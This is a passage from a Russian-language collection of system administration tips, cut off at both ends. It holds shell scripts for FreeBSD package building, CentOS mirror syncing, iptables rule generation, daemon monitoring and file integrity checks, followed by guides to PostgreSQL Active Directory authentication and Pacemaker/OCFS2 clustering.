          update user set password=PASSWORD('$pass1') where user='root' and host='localhost';\
          delete from user where password='';\
          flush privileges;" | mysql -h 127.0.0.1 -u root mysql && echo "Done successfuly."
    
    exit 0
    
     
    ----* Скрипт для создания всех пакетов, требуемых по зависимостям, для порта в ОС FreeBSD   Автор: Alexey Tsvetnov  [комментарии]
     
    По сути, выполняет действия, аналогичные pkg_create с ключём -R, который
    появился только в FreeBSD 6.x.
    Однако данный скрипт позволяет указывать короткое имя порта и каталог, 
    в котором создавать пакеты. А главное, он работает и на тех системах, 
    где pkg_create не поддерживает ключ -R.
    
    #!/bin/sh
    #
    # pkg_depend
    # Create all packages (with dependence) needed by some port for FreeBSD 5.x+
    #
    # Version: 1.4
    # Copyright (c) 2005,2006 Alexey Tsvetnov, vorakl@fbsd.kiev.ua
    #
     
    # Path to packages directory
    pkgpath="/usr/ports/packages/All"
     
    # Command for get package's version
    pkgvercmd="pkg_version -v"
    #pkgvercmd="portversion -v"              # more faster than pkg_version
     
    getdepend()
    {
        [ ! -d $2 ] && echo -n "Creating directory ($2)..." && mkdir -p $2 && echo "Done."
     
        cd ${pkgpath}
        if [ ! -f ${pkgpath}/$1.tbz ]; then
            echo -n "Creating package ($1)..."
            pkg_create -yb $1
            echo "Done."
        fi
     
        echo -n "Copying package ($1)..."
        cp -f ${pkgpath}/$1.tbz $2
        echo "Done."
     
        for LINE in `pkg_info -r $1 | grep Dependency\: | awk '{print $2}'`
        do
            if [ ! -f ${pkgpath}/${LINE}.tbz ]; then
                echo -n "Creating package (${LINE})..."
                pkg_create -yb ${LINE}
                echo "Done."
            fi
            echo -n "Copying package (${LINE})..."
            cp -f ${pkgpath}/${LINE}.tbz $2
            echo "Done."
        done
    }
     
    gethelp()
    {
        echo ""
        echo "Usage: `basename $0` <Full/Short pkg_name> <Directory>"
        echo ""
        echo "If specify short package name script will get first find entry"
        echo ""
        echo "Example: `basename $0` dia-gnome-0.94_4,1 /tmp/pkg/"
        echo "         `basename $0` dia-gnome /tmp/pkg/"
        echo ""
        exit 1
    }
     
    main()
    {
    if [ "$2" = "" ]; then gethelp
     else
        echo -n "Checking package name ($1)..."
        if [ "`echo $1 | grep '\-[0-9]'`" = "" ]; then
            pkgname=`${pkgvercmd} | grep -E '^'$1'-[0-9].*' | awk '{print $1}' | head -1`
        else
            pkgname=`${pkgvercmd} | grep $1 | awk '{print $1}' | head -1`
        fi
        echo "Done."
     
        if [ "${pkgname}" = "" ]; then
            echo "Package '$1' not found! Exit."
            exit 2
        else
            getdepend ${pkgname} $2
        fi
    fi
    }
     
    main $1 $2
     
    exit 0
    
     
    ----* Локальный репозитарий CentOS через HTTP proxy   [комментарии]
     
    До появления прямого соединения с интернетом (провайдером был открыт только http), 
    было довольно проблематично поддерживать локальный репозитарий пакетов в актуальном состоянии.
    Для выхода из подобной ситуации был написан следующий скрипт,
     который в некотором приближении заменяет rsync.
    
    #!/bin/sh
    
    cd /opt/rpm-update
    #mirror_base_url=http://ftp.belnet.be/packages/centos/4.3/os/i386/CentOS/RPMS/
    #mirror_update_url=http://ftp.belnet.be/packages/centos/4.3/updates/i386/RPMS/
    
    mirror_base_url=$1
    local_rpm_directory=$2
    
    #local_rpm_directory=/var/ftp/pub/centos-4.3/
    
    file_html=./index.html
    file_rpms=./files.log
    
    rm -f $file_html
    rm -f $file_rpms
    
    echo "---------------------------------------------------------"
    echo "obtaining file list from $mirror_base_url ..."
    wget -q --no-cache $mirror_base_url
    echo "ok."
    
    cut -d"=" $file_html -f4 | cut -d"\"" -f2 | grep rpm | sort > $file_rpms
    
    a=`cat $file_rpms`
    for cur_rpm in $a
    do
        cur_rpm_file=$local_rpm_directory$cur_rpm
        if [ -e $cur_rpm_file ]
        then
            echo "$cur_rpm exist." > /dev/null
        else
            echo "downloading  $cur_rpm ..."
            wget -q --no-cache $mirror_base_url$cur_rpm
            echo "ok."
            mv ./$cur_rpm $local_rpm_directory
        fi
    done
    
    rm -f $file_html
    rm -f $file_rpms
    
    
    
    и вызов этого скрипта
    
    #!/bin/sh
    
    echo "***** run4 START ***** " >> /var/log/rpm_update4
    
    /opt/rpm-update/lsus.sh
    http://ftp.belnet.be/packages/centos/4.3/updates/i386/RPMS/ /var/ftp/pub/centos-4.3/
     >> /var/log/rpm_update4
    /opt/rpm-update/lsus.sh
    http://ftp.belnet.be/packages/centos/4.3/os/i386/CentOS/RPMS/ /var/ftp/pub/centos-4.3/
     >> /var/log/rpm_update4
    /opt/rpm-update/lsus.sh
    http://ftp.belnet.be/packages/centos/4.3/extras/i386/RPMS/ /var/ftp/pub/centos-4.3/
     >> /var/log/rpm_update4
    
    echo "generating headers..." >> /var/log/rpm_update4
    yum-arch -q /var/ftp/pub/centos-4.3/
    echo "ok." >> /var/log/rpm_update4
    
    echo "generating repo..." >> /var/log/rpm_update4
    createrepo -q /var/ftp/pub/centos-4.3/
    echo "ok." >> /var/log/rpm_update4
    
    echo "***** run4 STOP ***** " >> /var/log/rpm_update4
    
    
    вызывается по крону, если на сервере появились свежие пакеты, быстренько
    заливает их в локальный репозитарий.
    
     
    ----* Скрипт для автоматизации создания бинарных пакетов для FreeBSD   Автор: Alexey Tsvetnov  [комментарии]
     
    #!/bin/sh
    #
    # Create all packages with sym-links for FreeBSD 5.x+
    #
    # Version: 1.2.2
    # Copyright (c) 2006 Alexey Tsvetnov, vorakl@fbsd.kiev.ua
    #
    # All error in  /var/log/<script_name>.err
    #
    
    # Path to packages directory
    packagespath="/usr/ports/packages"
    
    # Command for get package's version
    pkgvercmd="/usr/sbin/pkg_version -v"
    #pkgvercmd="/usr/local/sbin/portversion -v"	# more faster than pkg_version
    
    #-------------------------------------------------------------------------------
    
    err="\033[0;40;31mError\033[0m"
    ok="\033[1;40;33mOk\033[0m"
    
    
    checkPackagesPath ()
    {
        [ -d $packagespath ] || { /usr/bin/printf " *** $err: $packagespath doesn't exist.\n"; 
    			      /bin/echo " *** Error: $packagespath doesn't exist." > /var/log/`basename $0`.log; 
    			      exit 1; }
        [ -d $packagespath/All ] || { /bin/mkdir $packagespath/All || exit 1; }
        [ -d $packagespath/Latest ] || { /bin/mkdir $packagespath/Latest || exit 1; }
        return 0
    }
    
    checkPkgAll ()
    {
        [ -f $packagespath/All/$fullname.tbz ] && return 0
        return 1
    }
    
    checkPkgLatest ()
    {
        [ -L $packagespath/Latest/$shortname.tbz ] && [ -r $packagespath/Latest/$shortname.tbz ] && return 0
        return 1
    }
    
    checkPkgCat ()
    {
        [ -L $packagespath/$subdir/$fullname.tbz ] && [ -r $packagespath/$subdir/$fullname.tbz ] && return 0
        return 1
    }
    
    createPkgAll ()
    {
        /usr/sbin/pkg_create -jb $fullname $packagespath/All/$fullname.tbz && return 0
        return 1
    }
    
    createPkgLatest ()
    {
        /bin/rm -f $packagespath/Latest/$shortname.tbz
        cd $packagespath/Latest && /bin/ln -s ../All/$fullname.tbz $shortname.tbz && return 0
        return 1
    }
    
    createPkgCat ()
    {
        if [ -d $packagespath/$subdir ]; then
    	/bin/rm -f $packagespath/$subdir/$fullname.tbz
        else
    	/bin/mkdir -p $packagespath/$subdir
        fi
    
        cd $packagespath/$subdir && /bin/ln -s ../All/$fullname.tbz $fullname.tbz && return 0
        return 1
    }
    
    getPkgFullVersion ()
    {
        echo -n "Geting full version package list..."
        pkglist=`$pkgvercmd | /usr/bin/awk '{print $1}'`
        /usr/bin/printf "$ok\n"
    }
    
    work ()
    {
     for fullname in $pkglist; do
        /bin/echo "Check $fullname"
    
        shortname=`/bin/echo $fullname | /usr/bin/sed 's/\-[^-]*$//'`
        subdir=`/usr/sbin/pkg_info -o $fullname | /usr/bin/sed -e '1,3d' -e '$d' | /usr/bin/awk -F/ '{print $1}'`
    
        if ! checkPkgAll; then
    	/bin/echo -n " ==> Create package..."
    	if createPkgAll; then /usr/bin/printf "$ok\n"
    	  else /usr/bin/printf "$err\n"
    	fi
    
    	/bin/echo -n " ==> Create Latest sym-link..."
    	if createPkgLatest; then /usr/bin/printf "$ok\n"
    	  else /usr/bin/printf "$err\n"
    	fi
    
    	/bin/echo -n " ==> Create Category sym-link..."
    	if createPkgCat; then /usr/bin/printf "$ok\n"
    	  else /usr/bin/printf "$err\n"
    	fi
    
    	continue
        fi
    
        if ! checkPkgLatest; then  
    	/bin/echo -n " ==> Create Latest sym-link..."
    	if createPkgLatest; then /usr/bin/printf "$ok\n"
    	  else /usr/bin/printf "$err\n"
    	fi
        fi
    
        if ! checkPkgCat; then  
    	/bin/echo -n " ==> Create Category sym-link..."
    	if createPkgCat; then /usr/bin/printf "$ok\n"
    	  else /usr/bin/printf "$err\n"
    	fi
        fi
     done
    }
    
    main ()
    {
        exec 2>/var/log/`basename $0`.log
    
        checkPackagesPath
        getPkgFullVersion
        work
    
        exec 2>&-
    }
    
    main
    
    exit 0
    
     
    ----* Скрипт для упрощения монтирования CD-ROMа   Автор: Антон  [комментарии]
     
    Вот такой простой скрипт:
    
    #!/bin/sh
    retval=`/sbin/mount | grep /mnt/cdrom`
    if [ -n "$retval" ];
    then 	/sbin/umount /mnt/cdrom 1> /dev/null 2> /dev/null
    	if [ "$?" -ne 0 ]; 
    	    then echo "Не могу размонтировать CDROM"
    	else echo "Размонтировал CDROM"
    	eject /dev/cdrom	
    	fi
    else	/sbin/mount /dev/cdrom 1> /dev/null 2> /dev/null
    	if [ "$?" -ne 0 ];
    	    then echo "Не могу смонтировать CDROM"
    	else echo "Примонтировал CDROM"
    	fi	
    fi
    
    
    П.С. копируем в каталог /sbin под именем cdm. Сам определяет состояние
    
     
    ----* Как прикрепить 48x48 иконку к письму (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Содержимое черно-белой 48x48 иконки передается через заголовк X-Face, цветной - Face 
    (PNG картинка, размером после base64 кодирования не больше 998 байт, разбивка
    по 79 символов в строке).
    
    Скрипт для преобразования Jpeg в "Face:"
    
    #!/bin/bash
    
    jpg=$1
    png=$2
    
    if [ "$jpg" = "" -o "$png" = "" ]; then
       echo "Usage: make-face <JPG-FILE> <BASE64-FILE>"
       exit
    fi
    
    quant=16
    found=false
    tmp=/tmp/make-face.$$.tmp
    
    while [ "$found" = "false" ]; do
        echo -n "Trying quantization $quant ($jpg)..."
        djpeg "$jpg"\
    	| ppmnorm\
    	| pnmscale -width 48 -height 48\
    	| ppmquant $quant\
    	| pnmtopng\
    	| mimencode > $tmp
        size=`ls -l $tmp | awk '{ print $5; }'`
        if [ $size -lt 993 ]; then
    	echo -n "Face:" > "$png"
    	for i in `cat $tmp`; do
    	    echo -n " " >> "$png"
    	    echo "$i" >> "$png"
    	done
    	rm $tmp
    	found=true
    	echo "done"
        else
    	quant=`expr $quant - 2`
    	echo "too big ($size)"
        fi
    done
    
        
    
     
    ----* Скрипт для автоматизации настройки iptables фильтра для локальной сети (доп. ссылка 1)   Автор: Константин Брызгалов  [комментарии]
     
    На разных машинах в моей локальной сети накопилась куча программ,
    которым нужен был выход в интернет напрямую. У каждой свой набор портов.
    Захотелось на входе иметь минимальную конфигурацию, описывающую
    ресурсы, а на выходе набор разрешающих  правил для iptables.
    В основном были клиент-банки - поэтому и такая терминология в программе.
    А так вместо банка можно указывать любой ресурс в формате определенном в
    man iptables.
    
    Ограничения, недостатки:
    
    1. использование количества портов для одного ресурса менее 16
    2. нельзя указать диапазон портов через двоеточие как в iptables
    Оба легко устаняются: первое - есть пример в самом скрипте, 
    второе через использование другого разделителя для записей на входе, 
    проверку наличия ":" - использование другого формата вызова iptables. Мне это
    не нужно и код не хотел раздувать.
    
    
    #!/bin/bash
    #bkv 2005.10
    #Дано: 
    #  Два списка:
    #  Первый список из записей вида - банк:порты(через запятую)
    #  Второй список из записей вида - клиент:банки(через запятую)
    #Найти: 
    #  Набор разрешающих правил iptables для forward
    #Примечания:
    #  политика FORWARD по умолчанию - "запрещено все, что не разрешенно"
    #  iptables поддерживает одновременное указание не более 15 портов
    #Решение: 
    #  Создадим отдельную цепочку, например, - CLIENTBANK
    #  Сгенерируем необходимые правила и поместим их в цепочку CLIENTBANK
    #  Обращения по всем портам из первого списка направим на обработку в CLIENTBANK
    #  Перед выполнением все правила связаные с цепочкой CLIENTBANK удалим, чтобы не плодить 
    #    правила от многократного запуска
    
    itls="/sbin/iptables"
    
    #Подаем список на обработку awk
    #признак первого списка - первое поле BankPorts
    #признак второго списка - первое поле ClientBanks
    echo -e "\
    BankPorts:smtp.mail.ru:25\n\
    BankPorts:10.24.70.0/26:22,23\n\
    BankPorts:pop.mail.ru:110\n\
    BankPorts:bank4.ru:9999,888\n\
    BankPorts:bank5.ru:1,2,3,4,5,6,7,8,9,10,11,12,13,14,15\n\
    BankPorts:bank6.ru:21,22,23,24,25,26,27,28,29,210,211,212,213,214,215\n\
    ClientBanks:192.168.9.0/16:smtp.mail.ru,pop.mail.ru,10.24.70.0/26\n\
    ClientBanks:192.168.9.8:bank4.ru,bank5.ru,bank6.ru\n\
    ClientBanks:192.168.9.6:bank6.ru,bank4.ru\n\
    "|\
    awk -v itls=$itls -F: '{
      if($0~/^BankPorts/) BankPorts[$2]=$3 #создаем ассоциативный массив - индекс:банк, значение:порты через запятую
      if($0~/^ClientBanks/) ClientBanks[$2]=$3 #аналогично клиент -> банки
    }END{
    #Cгенерируем _необходимые_ правила для цепочки CLIENTBANK
    for (client in ClientBanks){
      split(ClientBanks[client],bank_arr,",") #поместили в массив bank_arr адреса банков для клиента
      for(i in bank_arr){
          all_ports=all_ports","BankPorts[bank_arr[i]] #создаем список всех портов для дальнейшего использования
          count_ports=split(BankPorts[bank_arr[i]],tmp_arr,",")
          if(count_ports > 15)
            print "echo Слишком много портов для "bank_arr[i]".Допиши программу.Выход&&exit 1"
           else
            printf("%s -A CLIENTBANK -s %s -d %s -p tcp -m multiport --dports %s -j ACCEPT\n",itls,client,bank_arr[i],BankPorts[bank_arr[i]])
          }
    }
    
    #Создадим правила перенаправляющие из FORWARD на обработку в CLIENTBANK, помня
    про ограничение в 15 портов
    sub(",","",all_ports) #отрезаем первую запятую у списка всех использующихся портов
    split(all_ports,all_ports_arr,",")#поместили в массив all_ports_arr все порты какие есть
    j=1;i=1
    while(all_ports_arr[i]){
      while(i<=(j*15)){
        if (all_ports_arr[i]) 
          tmp_all_ports=tmp_all_ports","all_ports_arr[i]
        i++
        }
      sub(",","",tmp_all_ports) #отрезаем первую запятую
      printf("%s -I FORWARD -p tcp -m multiport --ports %s -j CLIENTBANK\n",itls,tmp_all_ports)
      tmp_all_ports=""
      j++
      }
    
    print itls" -A CLIENTBANK  -p tcp -m state --state ESTABLISHED -j ACCEPT"
    print itls" -N CLIENTBANK"
    print itls" -X CLIENTBANK"
    print itls" -F CLIENTBANK"
    
    #Удаляем из FORWARD все цепочки содержащие цель CLIENTBANK
    del_rules_nums="'`$itls --line-numbers -L FORWARD -n|grep CLIENTBANK|cut -f1 -d" "|tr "\n" ","`'"
    split(del_rules_nums,del_rules_arr,",")
    cnt_rules=1
    while(del_rules_arr[cnt_rules]){
      printf("%s -D FORWARD %s\n",itls,del_rules_arr[cnt_rules])
      cnt_rules++
      }
    
    }'|tac > gen.itls.sh
    chmod 700 gen.itls.sh
    echo "Команды сгенерированы в файл ./gen.itls.sh .Выход."
    exit
    ./gen.itls.sh
    rm ./gen.itls.sh
    
     
    ----* Скрипт для восстановления процессов на случай сбоя   Автор: Yurik  [комментарии]
     
    Иногда случается, что при сбое (например при большой нагрузке или при временном отсутствии 
    каналов связи) важные демоны самостоятельно завершают свою работу.
    Например может случаться вот такая ошибка
        squid[703]: Exiting due to repeated, frequent failures
    Такое же может иногда случаться с IPA (/usr/ports/sysutils/ipa) и Apache.
    
    Чтобы автоматизировать отслеживание таких процессов можно создать
    `crontab -e` задание (на примере Squid)
    
       5,35 * * * * /usr/local/etc/rc.d/checksquid
    
    
    ./checksquid:
    
       proc="squid"
    
       PIDFILE=/var/run/${proc}.pid
       if [ -f $PIDFILE ] ; then
            PID=`head $PIDFILE`
            if [ "x$PID" != "x" ] && kill -0 $PID 2>/dev/null ; then
                RUNNING=1
            else
                RUNNING=0
            fi
       else
            RUNNING=0
       fi
    
       if [ $RUNNING -eq 0 ]; then
            echo "Starting $proc again..."
            /usr/local/etc/rc.d/${proc}.sh start
            continue
       else
            echo "$proc already running"
       fi
    
    Нужно только убедиться что нужные PID файлы хранятся в /var/run. 
    Директивы pid_filename в squid.conf, PidFile в httpd.conf
    
     
    ----* Контроль целостности системы штатными средствами   Автор: Avatar  [комментарии]
     
    Что делать если под рукой нет tripwire или osec, а кривой aide вы пользоваться не хотите. 
    Часть функций , таких как проверка прав доступа и изменение файлов, можно
    реализовать штатными стедствами.
    
    Вот маленький скрипт который помещается в crontab и позволяет это реализовать. 
    При желании его функции можно легко расширить.
    
    
    #!/bin/bash
    
    ulimit -t 20
    checkdir="/bin /sbin"
    filedb="/var/tmp/permsecdb"
    email="test@test.ru"
    
    out=$(
    exec 2>&1
    umask 266
    find $checkdir -type f -printf "%m\t" -exec md5sum {} \; >$filedb.tmp
    diff $filedb $filedb.tmp
    mv -f $filedb.tmp $filedb
    )
    if [ "$out" ];then 
        (date; echo; echo "$out") |mail -s "Change permsec `hostname`" $email
    fi
    
    - ulimit лучше выставить не случай не предвиденных ситуаций.
    - checkdir соответственно проверяемые директории
    - filedb текстовой файл базы
    - email куда посылать мыло
    
    Если изменений в системе не было, то сообщения посылаться не будут.
    Сообщение бывает 4 видов 
    
    1 - ошибки
    2 - добавлен файл "> 644	d41d8cd98f00b204e9800998ecf8427e  /bin/12"
    3 - удален файл "< 755	c1a0ff878c603dd91f603059e9c1a0a1  /bin/12"
    4 - изменен файл "
    < 755	ce367ef1e2cca19e6216874cb8c09d96  /bin/12
    ---
    > 755	c1a0ff878c603dd91f603059e9c1a0a1  /bin/12"
    
    Успешного контроля.
    
     
    ----* Скрипт для сканирования лога dmesg   Автор: Андрей  [обсудить]
     
    Вот возникла необходимость в постоянном сканировании лога dmesg и выполнении определенных действий.
    Возможно общественности пригодится.
    
    #!/bin/bash
    #
    # simple scan dmesg
    #
    # event files:
    #    DEBUG=0
    #    STRING="scaning dmesg string"
    #    EXEC="command"
    #
    
    EVENTDIR=/etc/scan-dmesg
    
    sleep 2
    
    if [ ! -e "$1" ]; then
        TMPFILE=`mktemp`
        dmesg > $TMPFILE
        $0 $TMPFILE &
        exit 0
    fi
    
    if [ "`dmesg | diff $1 -`" ] ; then
        TMPFILE=`mktemp`
        dmesg > $TMPFILE
        for FILE in $EVENTDIR/* ; do
            . $FILE
            if diff $1 $TMPFILE | grep -q "$STRING" ; then
                $EXEC > /dev/null 2>&1
                if [ $DEBUG ] ; then
                    echo "`date` $0: for event $FILE exec $EXEC" >> /var/log/scan-dmesg
                fi
            fi
        done
        rm -rf $1
        $0 $TMPFILE &
        exit 0
    fi
    
    $0 $1 &
    
    exit 0
    
     
    ----* Обновление антивирусных баз (AvpUpdate) (доп. ссылка 1)   Автор: denz  [обсудить]
     
    Автоматическое обновление антивирусных баз, пример скрипта:
    
    #!/bin/sh
    AVPUServ="ftp://downloads-us1.kaspersky-labs.com"
    FTPDir="/home/virtual/ftp/pub"
    cd /home/virtual/ftp/pub/AVP
    echo "==> Процесс обновления антивирусных баз и утилит запущен..."
    wget -m -c -o /var/log/avp-update.log -nH ${AVPUServ}/updates/
    echo "==> Обновление антивирусных баз завершено..."
    wget -m -c -o /var/log/avp-update_zip.log -nH ${AVPUServ}/updates_zip/
    echo "==> Обновление антивирусных баз в формате zip завершено..."
    wget -m -c -o /var/log/avp-utils.log -nH ${AVPUServ}/utils/
    echo "==> Обновление антивирусных утилит завершено..."
    chown -R denz:operator ${FTPDir}/*
    echo "==> Дата обновления:" `date`
    
    В крон вбиваем:
    30      3       *       *       *       root    /bin/sh /usr/bin/avpupdate
    
    По первому разу качнет порядка 10 метров, все последующие только обновившиеся и новые файлы...
    Работает в бакграунде.
    
     

       SQL и базы данных
    MySQL специфика
    Оптимизация и администрирование MySQL
    PostgreSQL специфика
    PlPerl и PlSQL
    Оптимизация и администрирование PostgreSQL

    ----* Настройка СУБД Postgresql для аутентификации пользователей через Active Directory   Автор: Slonik  [комментарии]
     
    В статье расскажу про мой опыт настройки СУБД Postgresql для включения
    аутентификации пользователей через Active Directory с помощью протокола GSSAPI.
    
    Предполагается, что домен Active Directory и БД Postgresql уже развёрнуты.
    
    Для примера у меня развёрнут тестовый стенд со следующими параметрами:
    
    
  • Сервер с Active Directory: Windows Server 2022
  • Функциональный уровень домена: Windows Server 2016
  • Имя домена: domain.test
  • Контроллер домена: dc.domain.test
  • Клиентский компьютер с Windows 11, присоединённый к домену
  • Сервер с БД Postgresql 13 на Debian 11
  • DNS имя сервера СУБД: pg-host.domain.test Установка пакетов на сервере СУБД Для систем на базе Debian: root# apt install krb5-user postgresql Настройка Kerberos на сервере СУБД В файле /etc/krb5.conf на сервере с СУБД Postgresql добавляем описание для области Kerberos домена Windows: [libdefaults] default_realm = DOMAIN.TEST ... [realms] DOMAIN.TEST = { kdc = dc.domain.test admin_server = dc.domain.test } Проверяем, что можем получить билет: user@pg-host:~$ kinit Administrator@DOMAIN.TEST Смотрим список полученных билетов на сервере с БД: user@pg-host:~$ klist Ticket cache: FILE:/tmp/krb5cc_0 Default principal: Administrator@DOMAIN.TEST Valid starting Expires Service principal 23.07.2022 20:55:44 24.07.2022 06:55:44 krbtgt/DOMAIN.TEST@DOMAIN.TEST renew until 24.07.2022 20:55:38 Настройка описания имени службы в Active Directory Настройка пользователя Active Directory Для того, чтобы пользователи могли подключаться к СУБД с помощью GSSAPI, в Active Directory должна быть учётная запись с соответствующей записью уникального описания службы в поле Service Principal Name и User Principal Name: servicename/hostname@REALM. Значение имени сервиса servicename по умолчанию postgres и может быть изменено во время сборки Postgresql с помощью параметра with-krb-srvnam ./configure --with-krb-srvnam=whatever
  • hostname - это полное доменное имя сервера, где работает СУБД (pg-host.domain.test) оно должно быть зарегистрировано в DNS сервере, который использует Active Directory.
  • realm - имя домена (DOMAIN.TEST) В моём примере имя службы получается: postgres/pg-host.domain.test@DOMAIN.TEST Создаём пользователя pg-user в Active Directory, указываем "Запретить смену пароля пользователей" и "Срок действия пароля не ограничен". Создание файла с таблицами ключей Для того, чтобы служба СУБД могла подключаться к Active Directory без ввода пароля, необходимо создать файл keytab на сервере с Windows Server и после переместить его на сервер c СУБД. Создание файла выполняется с помощью команды ktpass.exe: ktpass.exe -princ postgres/pg-host.domain.test@DOMAIN.TEST -ptype KRB5_NT_PRINCIPAL -crypto ALL -mapuser pg-user@domain.test -pass <пароль> -out %tmp%\krb5.keytab Эта же команда выполняет привязку имени сервиса к учётной записи. Подключаемся к СУБД Postgresql и определяем, где СУБД предполагает наличие файла keytab: postgres@pg-host:~$ psql postgres=# show krb_server_keyfile; FILE:/etc/postgresql-common/krb5.keytab Копируем файл с Windows Server на сервер с СУБД в указанное место. Если файл необходимо расположить в другом месте, то необходимо поменять параметр krb_server_keyfile: sql> alter system set krb_server_keyfile=''/path''; Настройка Postgresql Настройка файла доступа pg_hba.conf и файла сопоставления имён pg_ident.conf В файле pg_ident.conf описываем сопоставление пользователей Active Directory с пользователями БД: # MAPNAME SYSTEM-USERNAME PG-USERNAME gssmap /^(.*)@DOMAIN\.TEST$ \1 Данное сопоставление указывает отображать доменного пользователя user@DOMAIN.TEST в пользователя БД user (для подключения, пользователь user уже должен быть создан в БД). В файле pg_hba.conf указываем, например, что использовать аутентификацию с помощью GSSAPI необходимо только для пользователей, состоящих в группе krb_users и подключающихся из сети 192.168.1.0/24: host all +krb_users 192.168.1.0/24 gss include_realm=1 krb_realm=DOMAIN.TEST map=gssmap Здесь:
  • map=gssmap - имя сопоставления из файла pg_ident.conf
  • krb_realm - имя домена Active Directory Создание пользователей Создаём пользователей в Active Directory: user1, user2. Создаём пользователей в СУБД: postgres=# create role user1 login; postgres=# create role user2 login; postgres=# create role user3 login encrypted password ''пароль'' ; Создаём группу krb_users (как файле pg_hba.conf) и добавляем необходимых пользователей в неё: postgres=# grant krb_users to user1; postgres=# grant krb_users to user2; В данном случае, пользователи user1, user2 смогут подключится к СУБД через GSSAPI, используя учётные данные из Active Directory, а пользователь user3 сможет подключиться только с указанием пароля, хранящимся в БД. Проверка подключения На Windows машине проверяем подключение. Входим на компьютер с Windows через Active Directory, например, как user1@domain.test. Запускаем клиент postgresql, в строке подключения указываем полное доменное имя сервера СУБД, как прописано в файле keytab - pg-host.domain.test, логин и пароль не указываем: C:\> chcp 1251 C:\> psql -h pg-host.domain.test -d postgresql Смотрим список билетов Kerberos: C:\> klist.exe #2> Клиент: user1 @ DOMAIN.TEST Сервер: postgres/pg-host.domain.test @ DOMAIN.TEST Тип шифрования KerbTicket: RSADSI RC4-HMAC(NT) флаги билета 0x40a10000 -> forwardable renewable pre_authent name_canonicalize Время начала: 7/24/2022 11:22:54 (локально) Время окончания: 7/24/2022 20:59:53 (локально) Время продления: 7/24/2022 10:59:53 (локально) Тип ключа сеанса: RSADSI RC4-HMAC(NT) Флаги кэша: 0 Вызванный центр распространения ключей: dc.domain.test Проверяем подключение пользователя user3 с помощью пароля: C:\> psql -h pg-host.domain.test -d postgresql -U user3 Как видно аутентификация в СУБД работает успешно как с помощью Active Directory, так и через пароль, хранящийся в БД.
  •  
    ----* Настройка СУБД PostgreSQL 13 под управлением Pacemaker/Corosync в Debian 11   Автор: Slonik  [комментарии]
     
    В статье расскажу про мой опыт настройки Postgresql для работы под контролем
    кластерной службы Pacemaker
    
    Под нагрузкой данное решение не проверялось, всегда делайте (и проверяйте) резервные копии.
    
    Для хранения базы данных будет рассмотрен пример использования кластерной файловой системе OCFS2.
    
    Версии ПО, использованные в примере:
    
    
  • OCFS2 - драйвер из ядра 5.10, утилиты ocfs2-tools - 1.8.6
  • Corosync - 3.1.2
  • Pacemaker - 2.0.5
  • Postgresql 13 В статье будет три типа кластеров:
  • кластер файловой системы OCFS2 - обеспечивает хранение файлов на общем диске и согласованную работу с ними
  • кластер Corosync/Pacemaker - обеспечивает отслеживание работы процессов СУБД, запуск виртуального ip-адреса СУБД
  • кластер баз данных Postgresql - набор баз, управляемых одним экземпляром работающего сервера СУБД Подготовка операционных систем Для устойчивой работы кластеров (OCFS2, Pacemaker/Corosync) необходимо как минимум три сервера. Сервера могут быть как физические так и виртуальные. Желательно, чтобы сервера имели одинаковые характеристики производительности. Я для демонстрации подготовил три виртуальные машины с помощью Qemu-KVM. Устанавливаем ОС Debian 11 на каждый из серверов в минимальной конфигурации. Настройка сети В примере у меня будут сервера с адресами:
  • node1 - ip 192.168.1.11
  • node2 - ip 192.168.1.12
  • node3 - ip 192.168.1.13 Имена узлов должны разрешаться в IP-адреса на каждом из серверов, для этого необходимо прописать сопоставление в файле /etc/hosts или создать записи на DNS-сервере. root:~# cat /etc/hosts 127.0.0.1 localhost 192.168.1.11 node1.local node1 192.168.1.12 node2.local node2 192.168.1.13 node3.local node3 В случае реальной реализации кластера, сетевых карт на каждом из серверов должно быть как минимум две - карты необходимо объединить в логическое устройство bonding или teaming. Физически карты должны подключаться к двум независимым коммутаторам. В примере у меня будет по одной сетевой карте на сервер. Настройка сетевого экрана Выполняем настройку экрана на каждом узле:
  • устанавливаем пакет для управления брандмауэром ufw
  • создаём разрешающие правила для ssh, postgres, узлов кластера
  • активируем правила root# apt install ufw root# ufw allow ssh root# ufw allow postgres root# ufw allow from 192.168.1.11 to any root# ufw allow from 192.168.1.12 to any root# ufw allow from 192.168.1.13 to any root# ufw enable Кластер OCFS2 для отслеживания работы узлов по-умолчанию использует протокол TCP порт 7777 (задаётся в файле /etc/ocfs2/cluster.conf), а Corosync - протокол UDP, порт 5405 (задаётся в файле /etc/corosync/corosync.conf), с учётом этого, можно настроить более тонкие правила брандмауэра: root# ufw allow proto tcp from 192.168.1.11 to any port 7777 root# ufw allow proto tcp from 192.168.1.12 to any port 7777 root# ufw allow proto tcp from 192.168.1.13 to any port 7777 root# ufw allow proto udp from 192.168.1.11 to any port 5405 root# ufw allow proto udp from 192.168.1.12 to any port 5405 root# ufw allow proto udp from 192.168.1.13 to any port 5405 Настройка дисковой системы На каждом сервере будет индивидуальный диск для системы (/dev/vda, 20 Гб) и общий диск на все сервера для хранения БД (/dev/vdb, 5 Гб): root# lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT vda 254:0 0 20G 0 disk ├─vda1 254:1 0 512M 0 part /boot/efi ├─vda2 254:2 0 18,5G 0 part / └─vda3 254:3 0 976M 0 part [SWAP] vdb 254:16 0 5G 0 disk /mnt/ocfs2clst Настройка кластерной файловой системы Для реального использования общий диск должен быть расположен на системе хранения данных, и подключатся к серверам по нескольким путям. Для демонстрации общий диск будет реализован с помощью средств Qemu-KVM. Настройка службы кластера ФС OCFS2 Настройка ядра Linux Необходимо изменить параметры ядра, чтобы сервер автоматически перезагружался при сбое кластерной ФС, для это нужно создать файл /etc/sysctl.d/10-ocfs2.conf kernel.panic_on_oops = 1 kernel.panic = 30 После применить параметры: root# systemctl restart systemd-sysctl Данные настройки указывают ядру Linux при возникновении сбоя (когда связь по сети пропала, но узел продолжает запись heartbeat сообщений на общий диск) автоматически перезагрузить узел через 30 секунд. Установка пакетов OCFS2 Устанавливаем пакеты на каждом из узлов root# apt install ocfs2-tools Настройка кластера ФС OCFS2 Все настройки кластера OCFS2 хранятся в файле /etc/ocfs2/cluster.conf. Нужно либо выполнить команды на каждом узле кластера, либо выполнить на одном узле и после скопировать файл /etc/ocfs2/cluster.conf на каждый узел, а после выполнить регистрацию и запуск. Создаём кластер (выполнить на каждом узле кластера) root# o2cb add-cluster ocfs2clst Добавляем узлы в кластер (выполнить на каждом узле кластера), имя узла должно совпадать с тем, что выдаёт команда hostname root# o2cb 